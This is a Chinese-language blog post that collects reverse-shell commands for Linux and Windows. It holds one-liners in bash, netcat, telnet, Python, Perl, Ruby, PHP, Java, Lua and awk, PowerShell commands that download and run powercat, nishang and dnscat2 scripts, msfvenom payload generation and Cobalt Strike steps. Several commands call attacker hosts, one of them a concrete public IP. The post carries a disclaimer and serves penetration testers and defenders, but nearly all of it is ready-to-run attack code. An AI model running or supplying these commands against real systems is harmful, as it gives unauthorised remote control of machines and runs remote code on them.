声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
Linux反弹shell总结
(1)Bash反弹
代码语言:javascript复制nc -lvvp 9999 #攻击者主机上执行监听
bash -i >& /dev/tcp/39.96.9.238/9999 0>&1 #目标主机上执行
注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
- 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
- 标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
- 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>;
exec 5<>/dev/tcp/39.96.9.238/9999;cat <&5 | while read line; do $line 2>&5 >&5; done
(2)telnet反弹
代码语言:javascript复制nc -lvvp 444 #攻击者主机上执行监听
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目标主机上执行
攻击者主机上打开两个终端分别执行监听:
代码语言:javascript复制nc -lvvp 4444
nc -lvvp 5555
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555 #目标主机中执行
监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。
(3) nc(netcat)反弹
代码语言:javascript复制nc -lvvp port
nc -e /bin/bash x.x.x.x port
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f
(4)python 反弹
代码语言:javascript复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
(5)perl 反弹
代码语言:javascript复制perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
(6)Ruby 反弹
代码语言:javascript复制ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
(7) php 反弹
代码语言:javascript复制php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
(8) Java 反弹
代码语言:javascript复制public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor();}}
(9) Lua 反弹
代码语言:javascript复制lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
(10) awk反弹
代码语言:javascript复制awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
windows反弹shell总结
(1) nc(netcat)反弹
(netcat 下载:https://eternallybored.org/misc/netcat/)
代码语言:javascript复制nc -lvvp 9999 #攻击者主机上执行监听
nc 192.168.99.242 1234 -e c:windowssystem32cmd.exe #目标主机上执行
(2) powershell反弹
代码语言:javascript复制PS C:WWW> powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
下载到目标机器本地执行:
代码语言:javascript复制PS C:WWW> Import-Module ./powercat.ps1
PS C:WWW> powercat -c 192.168.99.242 -p 1234 -e cmd
(3) msf反弹shell
代码语言:javascript复制msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
(4) Cobalt strike反弹shell
代码语言:javascript复制1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload
(5) nishang反弹shell
代码语言:javascript复制Reverse TCP shell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
Reverse UDP shell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234
(6) Dnscat反弹shell (https://github.com/iagox86/dnscat2)
代码语言:javascript复制服务端:
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
目标主机:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
顶象向各位白帽战士们发出诚挚邀请,希望大家能够积极参与到此次双十一业务安全保卫战活动中来,为业务安全贡献自己的一份力量。